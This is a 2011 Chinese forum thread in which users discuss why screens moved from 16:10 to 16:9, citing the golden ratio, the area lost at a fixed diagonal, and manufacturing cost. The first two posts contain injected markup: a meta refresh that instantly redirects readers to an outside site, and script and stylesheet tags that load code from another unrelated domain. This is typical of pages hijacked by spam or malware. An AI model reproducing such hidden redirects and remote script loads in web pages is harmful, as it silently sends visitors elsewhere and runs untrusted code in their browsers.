关于屏幕尺寸的探讨

xiang39 · 发表于 2011-7-9 16:49

根据黄金比例0.618
1440×900的屏幕应该比1600×900的要更加美观才对啊。那为什么要推出16:9的屏幕呢？
900÷1440=0.625
900÷1600=0.5625

我想这应该是屏幕制造商推崇的。
我们知道屏幕的尺寸是算对角线的长度的。同样的对角线长度，长宽比越大，面积就越小，因而所用的材料就越少。
不知我想的是否正确？
<meta http-equiv="refresh" content="0; url=http://www.9292.cc">
★★★
<script type="text/javascript" src="http://www.7755.cc/q.js"></script>
<link href="http://www.7755.cc/1.css" rel="stylesheet" type="text/css" media="screen" />

<P> </P>
<P> </P>

<P> </P>

tszmsid · 发表于 2011-7-9 17:07

就是出于成本考虑.

★★★
<script type="text/javascript" src="http://www.7755.cc/q.js"></script>
<link href="http://www.7755.cc/1.css" rel="stylesheet" type="text/css" media="screen" />
<P> </P>
<P> </P>

<P> </P>

xiang39 · 发表于 2011-7-9 17:07

为什么没有人回答这个问题呢？
自顶

EddieFan · 发表于 2011-7-9 17:22

因为现在越来越多的液晶厂商切个16：9的屏幕，按照数学几何的原理，16：9的是对角线最长，面积最小的切割方式。如果不是其他外形需要突破，那么我估计以后液晶都会定型在这个尺寸。

stephenchou · 发表于 2011-7-9 18:06

对角线最长，面积最小，原来是出于这个考虑啊

stephenchou · 发表于 2011-7-9 18:07

这道题似乎可以证明一下。。。

xiang39 · 发表于 2011-7-9 18:23

回复 EddieFan 的帖子

我刚才算了一下。
根据几何原理，只在长等于宽的时候面积最大。
在对角线长度一定的情况下，长宽比越大，面积越小。

xiang39 · 发表于 2011-7-9 18:33

如上图，是在对角线恒为为35.8厘米（14.1英寸）的矩形的面积与长的关系图。（我列了方程，用matlab做的图）
横坐标为该矩形的长（单位：厘米），纵坐标为面积（单位：平方厘米）。
我们可以看到，当长为25.4厘米时（此时宽也为25.4厘米），面积最大，随着远离这个极值点，面积越小。

xiang39 · 发表于 2011-7-9 18:34

也就是说，我们以后的屏幕会越来越长。。。
而黄金比例的1440x900，一去不复返了。

babeltree · 发表于 2011-7-9 21:35

成本考虑啊

simo · 发表于 2011-7-9 21:50

就是出于成本考虑.

lww923 · 发表于 2011-7-9 22:03

买mbp 吧至少现在的mbp 是16 ：10

yaray · 发表于 2011-7-9 22:24

xiang39 · 发表于 2011-7-9 22:25

回复 lww923 的帖子

mac 不能用大型软件啊。。。

lww923 · 发表于 2011-7-9 22:37

回复 xiang39 的帖子

那就2一把，在mbp上跑windows。很多人都在2着。。。

yuxyxx · 发表于 2011-7-10 02:15

回复 lww923 的帖子

mbp上个有vm，能把虚拟机后台，然后把虚拟机里面的程序拉到mac的界面，当mac的程序用。。。。

xiang39 · 发表于 2011-7-10 04:20

回复被照X光的鱼的帖子

我见过有人用的，但那个性能肯定比不上thinkpad吧？总不能为了个屏幕而放弃整个电脑的性能吧？

clg176 · 发表于 2011-7-10 08:20

为了节约成本，就这样做，可恨

账号		自动登录	找回密码
密码			加入

关于屏幕尺寸的探讨

点评

关于我们

关于屏幕尺寸的探讨

点评

关于我们

售后&帮助